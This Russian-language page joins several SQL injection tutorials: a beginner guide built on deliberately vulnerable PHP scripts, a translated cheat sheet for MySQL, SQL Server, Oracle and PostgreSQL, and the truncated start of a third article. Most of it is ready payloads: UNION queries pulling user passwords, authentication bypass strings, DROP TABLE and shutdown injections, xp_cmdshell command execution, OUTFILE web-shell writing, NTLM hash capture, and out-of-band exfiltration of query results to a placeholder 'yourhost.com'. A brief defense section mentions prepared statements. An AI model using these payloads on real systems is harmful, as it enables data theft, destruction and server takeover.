Проверить на sql инъекции. Извлекаем из этого пользу. Что писать в SELECT

Проверить на sql инъекции. Извлекаем из этого пользу. Что писать в SELECT

26.04.2019

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги:

  • SQL injection
  • sql inj
Добавить метки

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL .

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (возможно на других БД);
* (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin" --
Сгенерированный запрос: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.


Зелёный - поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
пример:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII("a")
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin" --
admin" #
admin"/*
" or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
" union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo(строка типа varchar(8000))
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping "

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ("First User", "Second User")
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Получение названий столбцов

31. Слепые инъекции
В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY "time" (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = "sa" waitfor delay "0:0:10"
ProductID =1;waitfor delay "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";waitfor delay "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz"),1) END FROM dual)
{INJECTION} – ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
Пример:
Name: " + (SELECT TOP 1 password FROM users) + "
Email: [email protected]
Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Синтаксис:
UNC-путь: "\\YOURIPADDRESS\C$\x.txt"
36. Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ({INJECTION})+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+({INJECTION})+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
создаёт DNS-запрос к {INJECTION}.yourhost.com

{INJECTION} — ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",({INJECTION}), "yourhost.com\\")))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Записывает данные в ваш файл
{INJECTION} — ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||({INJECTION})||"") FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||({INJECTION})||".html") FROM DUAL)
Результаты будут сохранены HTTP-логи
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
{INJECTION} — ваш запрос.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet .

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.
(5140 просмотров за 1 неделю

Phoenix

сайт совместно с Учебным центром "Информзащита" и интернет магазином ПО Softkey.ru организует конкурс на налучшую статью по тематике информационной безопасности.

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12"

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999" должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

http://site/test.php?id=9999+union+select+"test",null,null/*

http://site/test.php?id=9999+union+select+null,"test",null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php?id=9999+union+select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

